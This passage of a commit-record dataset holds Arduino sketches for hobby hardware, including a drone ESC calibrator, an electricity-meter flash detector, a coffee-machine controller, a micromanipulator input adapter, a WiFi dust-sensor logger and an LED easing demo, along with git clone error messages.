,nareddyt\/igvc-software,dpattison3\/igvc-software,kscharm\/igvc-software,RoboJackets\/igvc-software,sayakchatterjee\/igvc-software,vmurahari3\/igvc-software,vmurahari3\/igvc-software,seanrsain\/igvc-software,sayakchatterjee\/igvc-software,thaeds\/igvc-software","old_file":"arduino\/LightShield\/LightShield.ino","new_file":"arduino\/LightShield\/LightShield.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5543da19254ac3239d096c2ca8a3d7190fee93f1","subject":"Update on the irrigation controller","message":"Update on the irrigation controller\n","repos":"Omemanti\/MantiOT","old_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Omemanti\/MantiOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6607816d815f1eae17608c8a2e4900fe44cf84a5","subject":"code arduino","message":"code arduino\n","repos":"sonico999\/nodebots","old_file":"droneV0_1.ino","new_file":"droneV0_1.ino","new_contents":"#include <Servo.h>\n\nconst int MAX_SIGNAL = 2000;\nconst int MIN_SIGNAL = 700;\nconst int MOTOR_UNO = 11;\nconst int MOTOR_CUATRO = 6;\nconst int MOTOR_TRES = 9;\nconst int MOTOR_DOS = 10;\n\nServo motor1;\nServo motor2;\nServo motor3;\nServo motor4;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Program begin...\");\n Serial.println(\"This program will calibrate the ESC.\");\n motor1.attach(MOTOR_UNO,MIN_SIGNAL,MAX_SIGNAL);\n motor2.attach(MOTOR_DOS,MIN_SIGNAL,MAX_SIGNAL);\n motor3.attach(MOTOR_TRES,MIN_SIGNAL,MAX_SIGNAL);\n motor4.attach(MOTOR_CUATRO,MIN_SIGNAL,MAX_SIGNAL);\n\n motor1.writeMicroseconds(800);\n motor2.writeMicroseconds(800); \n motor3.writeMicroseconds(800); \n motor4.writeMicroseconds(800); \n}\n\nvoid loop() {\n if ( Serial.available() > 0) {\n char speedy;\n Serial.println(\"Serial esta activo\");\n speedy = Serial.read();\n if(speedy == 'a')\n {\n Serial.println(1200);\n motor1.writeMicroseconds(1100);\n motor2.writeMicroseconds(1100); \n motor3.writeMicroseconds(1100); \n motor4.writeMicroseconds(1100);\n }\n if(speedy == 'b'){\n motor1.writeMicroseconds(800);\n motor2.writeMicroseconds(800); \n motor3.writeMicroseconds(800); \n motor4.writeMicroseconds(800);\n }\n \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'droneV0_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec4aab9f29a654a60ae73339efd8ecf05b0e28e7","subject":"Arduino side of things","message":"Arduino side of things\n","repos":"ericvrp\/PowerToThePeople,ericvrp\/PowerToThePeople","old_file":"Arduino\/DetectLedFlashes.ino","new_file":"Arduino\/DetectLedFlashes.ino","new_contents":"\/* DetectLedFlashes.ino\n\nRead a LDR (Light Dependent Resistor) to detect led flashing on my electricity meter.\nReport information back over the usb port.\n\nSchematics: \nConnect one end of the photocell to 5V, the other end to Analog 0.\nThen connect one end of a 10K resistor from Analog 0 to ground \n*\/\n \nconst int LDR_PIN = 0; \/\/ the cell and 10K pulldown are connected to a0\n\nvoid setup(void) {\n\tSerial.begin(9600);\t\/\/ We'll send debugging information via the Serial monitor\n}\n \nvoid loop(void) {\n\tint photocellReading = analogRead(LDR_PIN);\n\tint intensity_threshold = photocellReading * 2 + 32;\t\/\/Calibrate\n\n\tdo {\n\t\tphotocellReading = analogRead(LDR_PIN); \n\t\t\/\/delay(1);\t\/\/minimal delay\n\t} while (photocellReading < intensity_threshold);\n \n\t\/\/Serial.print(\"Led flashed after \");\n\t\/\/Serial.print(n);\n\t\/\/Serial.print(\" iterations. Intensity \");\n\tSerial.println(photocellReading); \/\/ the raw analog reading\n\n\t\/\/debounce...\n\t\/\/delay(250); \n\tdo {\n\t\tphotocellReading = analogRead(LDR_PIN); \n\t\t\/\/delay(1);\t\/\/minimal delay\n\t} while (photocellReading >= intensity_threshold);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/DetectLedFlashes.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d67b8f15ea9b3ebb087c063b468eb9f094044381","subject":"Arduino coffee machine controller","message":"Arduino coffee machine controller\n","repos":"MonsieurV\/EqsCoffeeMachine","old_file":"Arduino_control\/Arduino_Senseo_HD7817-61_controller\/Arduino_Senseo_HD7817-61_controller.ino","new_file":"Arduino_control\/Arduino_Senseo_HD7817-61_controller\/Arduino_Senseo_HD7817-61_controller.ino","new_contents":"\/**\n * Senseo coffee maker by Equisense\n *\/\n \nint power_out_pin, short_coffee_out_pin, long_coffee_out_pin, short_coffee_in_pin, long_coffee_in_pin, short_coffee_in, long_coffee_in, push_delay;\nvoid setup() {\n \/\/ We set the push delay (delay between the high and low signal)\n push_delay = 100;\n \/\/ We set the pins positions\n power_out_pin = 1;\n short_coffee_out_pin = 2;\n long_coffee_out_pin = 3;\n short_coffee_in_pin = 4;\n long_coffee_in_pin = 5;\n \/\/ We init the values of the inputs\n short_coffee_in = 0;\n long_coffee_in = 0;\n \/\/ We init the in\/out pins\n pinMode(power_out_pin, OUTPUT);\n pinMode(short_coffee_out_pin, OUTPUT);\n pinMode(long_coffee_out_pin, OUTPUT);\n pinMode(short_coffee_in_pin, INPUT);\n pinMode(long_coffee_in_pin, INPUT);\n}\n\nvoid loop() {\n short_coffee_in = digitalRead(short_coffee_in_pin);\n long_coffee_in = digitalRead(long_coffee_in_pin);\n if(short_coffee_in || long_coffee_in){\n digitalWrite(power_out_pin, HIGH); \n delay(push_delay); \/\/ wait for a second\n digitalWrite(power_out_pin, LOW);\n delay(10000); \/\/ wait for 10 seconds\n digitalWrite(short_coffee_out_pin, short_coffee_in);\n digitalWrite(long_coffee_out_pin, long_coffee_in);\n delay(push_delay);\n digitalWrite(short_coffee_out_pin, LOW);\n digitalWrite(long_coffee_out_pin, LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_control\/Arduino_Senseo_HD7817-61_controller\/Arduino_Senseo_HD7817-61_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e465ffa6bba1d4968f5fcf60acb22c37c437aa8b","subject":"Updated mp285_hack arduino code to more recent \"ino\" format. Added in some missing features: - ignore \"home\" button - re-interpret \"cont\/pulse\" button as enable\/disable","message":"Updated mp285_hack arduino code to more recent \"ino\" format.\nAdded in some missing features:\n - ignore \"home\" button\n - re-interpret \"cont\/pulse\" button as enable\/disable\n","repos":"campagnola\/acq4,hiuwo\/acq4,meganbkratz\/acq4,mgraupe\/acq4,hiuwo\/acq4,pbmanis\/acq4,hiuwo\/acq4,mgraupe\/acq4,meganbkratz\/acq4,acq4\/acq4,tropp\/acq4,tropp\/acq4,hiuwo\/acq4,campagnola\/acq4,tropp\/acq4,acq4\/acq4,acq4\/acq4,meganbkratz\/acq4,mgraupe\/acq4,hiuwo\/acq4,pbmanis\/acq4,mgraupe\/acq4,meganbkratz\/acq4,mgraupe\/acq4,tropp\/acq4,campagnola\/acq4,acq4\/acq4,pbmanis\/acq4,campagnola\/acq4,pbmanis\/acq4","old_file":"lib\/drivers\/SutterMP285\/mp285_hack\/mp285_hack.ino","new_file":"lib\/drivers\/SutterMP285\/mp285_hack\/mp285_hack.ino","new_contents":"#include <EEPROM.h>\n\n\/\/Ports are connected as follows:\n\/\/\n\/\/ ROE buttons:\n\/\/PA0 - 22 - Home In (from ROE)\n\/\/PA1 - 23 - Home Out (to MP285)\n\/\/PA2 - 24 - Coarse In\n\/\/PA3 - 25 - Coarse Out\n\/\/PA4 - 26 - Cont In\n\/\/PA5 - 27 - Cont Out\n\/\/PA6 - 28 - Diag In\n\/\/PA7 - 29 - Diag Out\n\/\/\n\/\/ ROE inputs (from ROE):\n\/\/PC5 - 32 - Z CCW\n\/\/PC4 - 33 - Z CW\n\/\/PC3 - 34 - Y CCW\n\/\/PC2 - 35 - Y CW\n\/\/PC1 - 36 - X CCW\n\/\/PC0 - 37 - X CW\n\/\/\n\/\/ ROE outputs (to MP285):\n\/\/PL5 - 44 - Z CCW\n\/\/PL4 - 45 - Z CW\n\/\/PL3 - 46 - Y CCW\n\/\/PL2 - 47 - Y CW\n\/\/PL1 - 48 - X CCW\n\/\/PL0 - 49 - X CW\n\n \n\/\/long iter = 0;\n\/\/long quietCount = 0;\nlong pos[3];\nbyte gotNewTicks = 0; \/\/ if ROE ticks have been received since last call to getPos()\nunsigned long disableROE = 0; \/\/ ROE is disabled until millis() reads this time\nint fineStep;\nint coarseStep;\n\nunsigned long lastUpdateTime = 0; \/\/ Last time a serial update was run\nunsigned long lastStatusTime = 0; \/\/ Last time the MP285's status was requested\nunsigned long lastRoeTick = 0; \/\/ Last time a tick was received from the ROE\nunsigned long lastInputTime = 0; \/\/ Last time when serial input was seen from PC\n\nbyte bytesLeftInPacket = 0; \/\/ number of bytes remaining until the expected end of a command packet from the PC\n\n\/\/ Holds current status info for the MP285\nstruct {\n unsigned int xspeed;\n unsigned int step_div;\n unsigned int step_mul;\n unsigned int roe_vari;\n unsigned int resolution;\n unsigned int step_mode;\n byte udir[3]; \/\/ X, Y, Z; each value specifies the ROE bit (0-5) that drives the axis in the negative direction.\n} stat;\n\nbyte directionMask[6]; \/\/ masks the ROE bits used for +X, -X, +Y, -Y, +Z, -Z\n\nlong limits[6] = {0,0,0,0,0,0}; \/\/ +X, -X, +Y, -Y, +Z, -Z\nbyte useLimit[6] = {0,0,0,0,0,0}; \/\/ by default, all limits are disabled\n\nlong char4ToLong(char* str) {\n union {long val; char string[4];} x;\n x.string[0] = str[0];\n x.string[1] = str[1];\n x.string[2] = str[2];\n x.string[3] = str[3];\n return x.val;\n}\n\nlong char2ToInt(char* str) {\n union {unsigned int val; char string[2];} x;\n x.string[0] = str[0];\n x.string[1] = str[1];\n return x.val;\n}\n\n\n\n\n\n\nvoid printHex(char* str, int len) {\n for (int i=0; i<len; i++) {\n Serial.print((unsigned char)str[i], DEC);\n Serial.print(\" \");\n }\n Serial.print(\"\\n\");\n}\n\nint readInput(char* target, int len, int timeout=2000) {\n \/\/ read command data from computer\n for( int i=0; i<len; i++ ) {\n int t = millis();\n int t2;\n while ( Serial.available() == 0 ) {\n t2 = millis();\n if (t2 - t > timeout) {\n\/\/ Serial.print(\"Serial timeout. Data so far: \");\n\/\/ printHex(target, i+1);\n\/\/ Serial.println(target);\n return -(i+1);\n }\n }\n target[i] = Serial.read();\n }\n return len;\n}\n \nint readPacket(char* target, int maxLen, int timeout=2000) {\n \/\/ Read until maxLen, feeding bytes into target.\n \/\/ Returns the number of bytes read, including the \\r\n \/\/ Returns negative values if no \\r was read or in case of timeout.\n int i = 0;\n while (true) {\n int t = millis();\n int t2;\n while ( Serial1.available() == 0 ) {\n t2 = millis();\n if (t2 - t > timeout) {\n\/\/ Serial.print(\"Serial timeout. Data so far: \");\n\/\/ printHex(target, i+1);\n\/\/ Serial.println(target);\n\/\/ Serial.print(\"start: \");\n\/\/ Serial.println(t);\n\/\/ Serial.print(\"stop: \");\n\/\/ Serial.println(t2);\n \n return -(i+1);\n }\n }\n target[i] = Serial1.read();\n if (target[i] == '\\r' and i+1 == maxLen) {\n return i+1;\n } \n i++;\n if (i >= maxLen) {\n\/\/ Serial.println(\"Error: no carriage return\");\n\/\/ printHex(target, i);\n return -i;\n }\n }\n} \n\nint checkError(int timeout=2000) {\n int t = millis();\n int t2;\n while ( Serial1.available() == 0 ) {\n t2 = millis();\n if (t2 - t > timeout) {\n\/\/ Serial.println(\"Serial timeout\");\n\/\/ Serial.print(\"start: \");\n\/\/ Serial.println(t);\n\/\/ Serial.print(\"stop: \");\n\/\/ Serial.println(t2);\n \n return -1;\n }\n }\n\n char v = Serial1.read();\n if( v == '\\r' ) {\n\/\/ Serial.println(\"OK\");\n return 0; \/\/ no error; return 0\n }\n \n t = millis();\n while ( Serial1.available() == 0 ) {\n if (millis() - t > timeout) {\n\/\/ Serial.println(\"Serial timeout\");\n return -1;\n }\n }\n\n char v2 = Serial1.read();\n if( v2 == '\\r' ) {\n\/\/ Serial.print(\"MP285 error: \");\n\/\/ Serial.println((int)v);\n return (int)v; \/\/ return error code\n }\n \n Serial1.flush();\n\/\/ Serial.println(\"Expected CR; got junk.\");\n return -2; \/\/ Got two non-CR bytes; something is wrong.\n \n} \n\nvoid setLimits() {\n \/\/ Read limit-setting data from serial port, write into eeprom\n \n char data[31];\n int len = readInput(data, 31);\n if( len != 31 ) {\n Serial.write((byte)16);\n Serial.write('\\r');\n return;\n }\n \n for( int i=0; i<6; i++ ) {\n limits[i] = char4ToLong(data + i*4);\n useLimit[i] = data[i+24];\n }\n Serial.write('\\r');\n \n for( int i=0; i<30; i++ ) {\n EEPROM.write(i, data[i]);\n }\n}\n\nvoid loadLimits() {\n char data[30];\n for( int i=0; i<30; i++ ) {\n data[i] = EEPROM.read(i);\n }\n for( int i=0; i<6; i++ ) {\n limits[i] = char4ToLong(data + i*4);\n useLimit[i] = data[i+24];\n }\n}\n\nint getPos() {\n Serial1.flush();\n Serial1.write(\"c\\r\");\n \n char resp[13];\n int len = readPacket(resp, 13);\n if (len != 13) {\n return -1;\n }\n \n\/\/ Serial.print(\"Correct position: \");\n for (int i=0; i<3; i++) {\n long x = char4ToLong(resp +i*4);\n\/\/ Serial.print(x-pos[i]);\n\/\/ Serial.print(\" \");\n pos[i] = x; \/\/ record position globally\n\/\/ p[i] = pos[i];\n\/\/ Serial.println(pos[i]);\n }\n\/\/ Serial.println(\"\");\n gotNewTicks = 0;\n disableROE = millis() + 1000; \/\/ don't allow any ROE ticks for 1 second after requesting position.\n return 1;\n} \n\nint getStatus() {\n Serial1.flush();\n Serial1.write(\"s\\r\");\n \n char resp[33];\n int len = readPacket(resp, 33);\n if (len != 33) {\n\/\/ Serial.print(\"wrong packet size \");\n\/\/ Serial.println(len);\n return -1;\n }\n \n\/\/ Serial.println(\"Got status:\");\n unsigned int spd = char2ToInt(resp+28);\n stat.xspeed = spd & 0x7FFF;\n stat.resolution = spd & 0x8000 > 0 ? 50 : 10;\n stat.step_div = char2ToInt(resp+24); \/\/ step scale is 1um \/ step_div\n stat.step_mul = char2ToInt(resp+26);\n stat.roe_vari = char2ToInt(resp+4);\n stat.step_mode = resp[15] & 0x4 > 0 ? 50 : 10;\n stat.udir[0] = resp[1];\n stat.udir[1] = resp[2];\n stat.udir[2] = resp[3];\n \n for( int i=0; i<3; i++ ) {\n byte v = ((byte)1) << resp[i+1]; \/\/ the ROE bit that moves this axis in the negative direction\n stat.udir[i] = v;\n byte v2; \/\/ the ROE bit that moves this axis in the negative direction\n if( v == 1 || v == 4 || v == 16 )\n v2 = v << 1;\n else\n v2 = v >> 1;\n \n directionMask[2*i] = v2; \/\/ For example, directionMask[0] = 4 means that ROE bit 4 moves X in the + direction\n directionMask[2*i+1] = v;\n\/\/ Serial.print(\"Stat X dir: \");\n\/\/ Serial.println(v, BIN);\n }\n\/\/ Serial.print(\" speed: \");\n\/\/ Serial.println(s.xspeed);\n\/\/ Serial.print(\" resolution: \");\n\/\/ Serial.println(s.resolution);\n\/\/ Serial.print(\" step_mode: \");\n\/\/ Serial.println(s.step_mode);\n\/\/ Serial.print(\" step_div: \");\n\/\/ Serial.println(s.step_div);\n\/\/ Serial.print(\" step_mul: \");\n\/\/ Serial.println(s.step_mul);\n\/\/ Serial.print(\" roe_vari: \");\n\/\/ Serial.println(s.roe_vari); \/\/ number of steps per click. 0.1um per step\/fine; 0.5um per step\/coarse.\n \n fineStep = stat.roe_vari;\n coarseStep = stat.roe_vari * 5;\n lastStatusTime = millis();\n return 1;\n}\n\n\/\/void setSpeed(unsigned int spd, unsigned int fine) {\n\/\/ Serial1.flush();\n\/\/ charInt c;\n\/\/ c.val = spd;\n\/\/ if( fine > 0 ) {\n\/\/ c.val = spd | 0x8000;\n\/\/ }\n\/\/ else {\n\/\/ c.val = spd & 0x7FFF;\n\/\/ } \n\/\/ Serial.print(\"Set speed:\");\n\/\/ Serial.println(c.val);\n\/\/ Serial.println(c.val,BIN);\n\/\/ \n\/\/ Serial1.print('V');\n\/\/\/\/ Serial1.write(c.val);\n\/\/ Serial1.print(c.string[0]);\n\/\/ Serial1.print(c.string[1]);\n\/\/ Serial1.print('\\r');\n\/\/ checkError();\n\/\/}\n\nvoid printPos() {\n \/\/ print the estimated position immediately without consulting the MP285\n union {long val; char string[4];} chl;\n for( int i=0; i<3; i++ ) {\n chl.val = pos[i];\n for( int j=0; j<4; j++ ) {\n Serial.write(chl.string[j]);\n }\n }\n Serial.write('\\r');\n}\n\nvoid flashLights() {\n DDRA = B11111111; \/\/ all button lines become inputs, which causes them to draw current through the button lights\n delay(1);\n DDRA = B10101010; \/\/ 0 == input; 1 == output\n} \n\n\nvoid runSerial() {\n \/\/ Forward serial data between PC and MP285, catch any commands intended for the arduino.\n \n \/\/ first flush any junk coming from the 285:\n while( Serial1.available() ){\n Serial.write(Serial1.read());\n }\n \n if( ! Serial.available() )\n return;\n \n unsigned long now = millis();\n if( now - lastInputTime > 500 ) { \/\/ long time since anything was received; assume any unfinished packets are dead.\n bytesLeftInPacket = 0;\n }\n while( Serial.available() ){\n unsigned char b = Serial.read();\n if( bytesLeftInPacket == 0 ) { \/\/ this is the beginning of a packet; see if we need to handle it or forward it to the MP285\n if( b == 'p' ) {\n printPos();\n return;\n }\n if( b == 'l' ) {\n setLimits();\n return;\n }\n else if( b == 0xF0 ) {\n \/\/ This is junk sent by the PC when it connected; ignore.\n return;\n }\n else if( b != 0x3 ) { \/\/ 0x3 is stop command; pass through immediately.\n\/\/ if( b == 'm' ) \/\/ schedule position request\n\/\/ gotNewTicks = True;\n \n byte lens[] = {1,13,3,1,100,3,3,1,1,1,1,1,1}; \/\/ all other commands, we guess how many more bytes to expect before the end of the packet.\n char cmds[] = {\"cmVodkuabenrs\"};\n for( int i=0; i<13; i++ ) {\n if( b == cmds[i] ) {\n bytesLeftInPacket = lens[i];\n break;\n }\n }\n }\n }\n else {\n bytesLeftInPacket--;\n } \n Serial1.write(b);\n }\n lastInputTime = now;\n \n \/\/ Disable ROE for 1 second after any serial data is sent to the controller.\n disableROE = millis() + 1000;\n}\n\n\nvoid setup() {\n Serial.begin(115200);\n Serial1.begin(19200);\n Serial.println(\"Good morning.\");\n\n DDRA = B10101010; \/\/ 0 == input; 1 == output\n DDRL = B11111111;\n DDRC = B00000000;\n PORTA = (PINA << 1) & B10101010;\n PORTC = B11000000; \/\/ pull first two bits up--they're not connected and we don't want them to change at random.\n PORTL = B11111111;\n \n pinMode(13, OUTPUT); \/\/ Onboard LED for debuggubg\n \n getPos();\n getStatus();\n loadLimits();\n}\n\n\nvoid loop() {\n unsigned long now = millis();\n byte pinc = PINC; \/\/ make a copy of pinc since it could change while we're here.\n byte pina = PINA;\n \n if( now > disableROE ) {\n \/\/ pass buttons through\n \/\/ bits are: 0: home, 2: coarse\/fine, 4: cont\/pulse, 6: norm\/diag\n \n \/\/ catch cont\/pulse button and interpret as enabled\/disabled\n bool enabled = (pina & B00010000) == 0;\n \/\/digitalWrite(13, enabled);\n \n \/\/ forward coarse\/fine and norm\/diag buttons to mp285; \n \/\/ do NOT forward cont\/pulse because we are re-interpreting it\n \/\/ do NOT forward home because we never use it and it is dangerous\n PORTA = ((PINA << 1) & B10001000) | B00100000;\n \n \/\/ check limits before copying ROE state\n byte mask = 0;\n if( useLimit[0] && pos[0] > limits[0] )\n mask |= directionMask[0];\n if( useLimit[1] && pos[0] < limits[1] )\n mask |= directionMask[1];\n if( useLimit[2] && pos[1] > limits[2] )\n mask |= directionMask[2];\n if( useLimit[3] && pos[1] < limits[3] )\n mask |= directionMask[3];\n if( useLimit[4] && pos[2] > limits[4] )\n mask |= directionMask[4];\n if( useLimit[5] && pos[2] < limits[5] )\n mask |= directionMask[5];\n \n byte maskedPINC = pinc | mask; \/\/ Note: PINC bits 0-5 are normally high, and drop low during an ROE click.\n if( maskedPINC != pinc ) {\n flashLights(); \/\/ inform user if ROE ticks were ignored due to limits\n }\n unsigned char diff = (~maskedPINC & PORTL);\n \n if( enabled ) {\n PORTL = maskedPINC;\n }\n \n if( enabled && diff > 0 ) {\n\/\/ Serial.println(\"------------\");\n\/\/ Serial.println(diff,BIN);\n\/\/ Serial.println(directionMask[0],BIN);\n\/\/ Serial.println(directionMask[1],BIN);\n\/\/ Serial.println(directionMask[2],BIN);\n\/\/ Serial.println(directionMask[3],BIN);\n\/\/ Serial.println(directionMask[4],BIN);\n\/\/ Serial.println(directionMask[5],BIN);\n lastRoeTick = now;\n gotNewTicks = 1;\n unsigned int steps = PINA & 0x4 ? coarseStep : fineStep;\n if( diff & directionMask[0] )\n pos[0] += steps;\n if( diff & directionMask[1] )\n pos[0] -= steps;\n \n if( diff & directionMask[2] )\n pos[1] += steps;\n if( diff & directionMask[3] )\n pos[1] -= steps;\n \n if( diff & directionMask[4] )\n pos[2] += steps;\n if( diff & directionMask[5] )\n pos[2] -= steps;\n }\n }\n\n if (now-lastUpdateTime > 100 && (pinc == 0xFF || pinc == B11000000)) { \/\/ only run serial loop if no ROE lines are active OR the ROE is disconnected.\n lastUpdateTime = now;\n runSerial();\n if( gotNewTicks && now - lastRoeTick > 500 ) \/\/ NOTE: it's ok to get the position within 500ms of an ROI tick, but not \n \/\/ between 500ms and 1s.\n getPos(); \/\/ sets gotNewTicks to 0 if successful.\n if( now - lastStatusTime > 5000 && now - lastRoeTick > 5000 ) {\n getStatus();\n getPos();\n }\n \n }\n if( now < lastUpdateTime ) { \/\/ clock rolled over; reset all times\n lastUpdateTime = 0;\n lastRoeTick = 0;\n lastInputTime = 0;\n disableROE = now+1000;\n } \n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lib\/drivers\/SutterMP285\/mp285_hack\/mp285_hack.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"966f02ce06aa7d500fbf470cc997c88d5f42e7bb","subject":"Adds copy part method to energy arduino code.","message":"Adds copy part method to energy arduino code.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/energy\/energy.ino","new_file":"room\/arduino\/energy\/energy.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4c2b597fb3ea55d62e81b6f1f0240931bb9d27a9","subject":"Create SharpGP2Y10.ino","message":"Create SharpGP2Y10.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/SharpGP2Y10.ino","new_file":"ESP8266-code\/SharpGP2Y10.ino","new_contents":"#include <RunningMedian.h>\n#include <ESP8266WiFi.h>\n\nconst int dustPin= A0;\nconst float ADC_REF = 3.3;\nconst int ADC_MAX = 1024; \nconst int ledPower =D1;\n\n\/\/ WiFi connection\n\nconst char* ssid = \"ssid\";\nconst char* password = \"wifi\";\n\n\/\/ Data stream\nconst char* host = \"kitwallace.co.uk\";\nconst char* streamId = \"stream\";\nconst char* privateKey = \"pk\";\n\n\/\/ Sharp timing\nint waitToRead = 280;\nint waitToTurnOff = 40;\nint waitForNext= 9680;\n\n\/\/ sampling\nint sampleSize = 15;\nRunningMedian samples = RunningMedian(sampleSize);\n\nint interval = 3000; \nfloat lastReading ;\nvoid setup(){\n Serial.begin(9600);\n connectWifi();\n pinMode(ledPower,OUTPUT);\n lastReading = millis();\n}\n \nvoid loop(){\n int baseDigital = analogRead(dustPin);\n digitalWrite(ledPower,LOW); \/\/ power on the LED\n delayMicroseconds(waitToRead);\n int readDigital =analogRead(dustPin); \/\/ read the dust value via pin 5 on the sensor\n delayMicroseconds(waitToTurnOff);\n digitalWrite(ledPower,HIGH); \/\/ turn the LED off\n int dustDigital = readDigital - baseDigital;\n samples.add(dustDigital);\n if (millis() > lastReading + interval) {\n float dustVoltage = samples.getAverage() * ADC_REF \/ ADC_MAX;\n String report = String(\"dustVoltage=\")+dustVoltage;\n Serial.println(report);\n logData(report);\n lastReading = millis();\n }\n delayMicroseconds(waitForNext);\n}\n\nvoid connectWifi() {\n\/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n \n}\n\nvoid httpGet(String url) {\n WiFiClient client;\n url.replace(\" \", \"+\");\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n \n Serial.println(\"connected \");\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\/\/ This will send the request to the server\n String httprequest = String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\";\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n delay(100);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n\nvoid logData(String params) {\n String url = \"\/rt\/home.xq?_action=store&_id=\";\n url += streamId;\n url += String(\"&_pk=\")+ privateKey + \"&\";\n url += params;\n httpGet(url); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/SharpGP2Y10.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0bc2ea4c1af32b1a563f286121604cf68101fade","subject":"Create ease_in_out.ino","message":"Create ease_in_out.ino\n\ntest for Fin Belcher","repos":"marmilicious\/FastLED_examples","old_file":"ease_in_out.ino","new_file":"ease_in_out.ino","new_contents":"\/*********************************************************************\/\n\/\/ease in out test\n\/*********************************************************************\/\n#include <Arduino.h>\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define NUM_LEDS 32\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define COLOR_ORDER GRB\n#define MASTER_BRIGHTNESS 255\nCRGB leds[NUM_LEDS];\n\nuint16_t pos; \/\/ pixel postion.\nuint16_t mappedValue;\nuint8_t timeDelay = 100; \/\/ time in ms. Lower number is faster travel.\n\n\n\/*********************************************************************\/\n\/\/PROGRAM SETUP\nvoid setup() {\n Serial.begin(115200); \/\/ Allow for output to serial monitor\n delay(3000); \/\/ power up safety delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(MASTER_BRIGHTNESS);\n}\/\/END SETUP\n\n\n\/*********************************************************************\/\n\/\/MAIN LOOP\nvoid loop() {\n\n \/*\n \/\/ Uncomment this section to show re-mapped\n \/\/ values for ease8InOutCubic from 0 to 256.\n for (uint16_t i = 0; i < 256; i++) {\n uint8_t result = ease8InOutCubic(i);\n Serial.print(\" i: \");\n Serial.print(i);\n Serial.print(\" \");\n Serial.print(\"result: \");\n Serial.println(result);\n delay(20);\n if (i == 255) { Serial.println(\"Loop complete.\"); }\n }\n Serial.println(\"Delay for a bit...\"); \/\/ So you don't hang your serial monitor output.\n delay(10000);\n *\/\n\n \/\/ Loop through pixels.\n for (uint16_t i = 0; i < NUM_LEDS; i++) {\n\n \/\/ Map pixel position to range of 0-255 that the ease function needs.\n mappedValue = map(i, 0, NUM_LEDS-1, 0, 255); \/\/ map(inputValue, fromLow, fromHigh, toLow, toHigh)\n\n \/\/ Run mappedValue through ease funtion.\n mappedValue = ease8InOutCubic(mappedValue);\n\n \/\/ Map ease value (0-255 range) back to pixel position in range of 0 to NUM_LEDS.\n pos = map(mappedValue, 0, 255, 0, NUM_LEDS-1); \/\/ map(inputValue, fromLow, fromHigh, toLow, toHigh)\n \n \/\/ Display pixels\n leds[pos] = CRGB::Red;\n FastLED.show();\n delay(timeDelay);\n leds[pos] = CRGB::Black;\n FastLED.show();\n }\n \n delay(1000);\n}\/\/END MAIN LOOP\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ease_in_out.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ce2353ddca199ec4c89260490d39bfd77bf1b27d","subject":"Create rs485_smodbus_master.ino","message":"Create rs485_smodbus_master.ino","repos":"pumanzor\/security,pumanzor\/security,pumanzor\/security","old_file":"protocol\/modbus\/lab\/rs485_smodbus_master.ino","new_file":"protocol\/modbus\/lab\/rs485_smodbus_master.ino","new_contents":"#include <SimpleModbusMaster.h>\n\n#define baud 19200\n#define timeout 1000\n#define polling 2000\n#define retry_count 10\n\n#define TxEnablePin 2 \n\n#define LED 9\n\n#define TOTAL_NO_OF_REGISTERS 1\n\nenum\n{\n PACKET1,\n PACKET2,\n 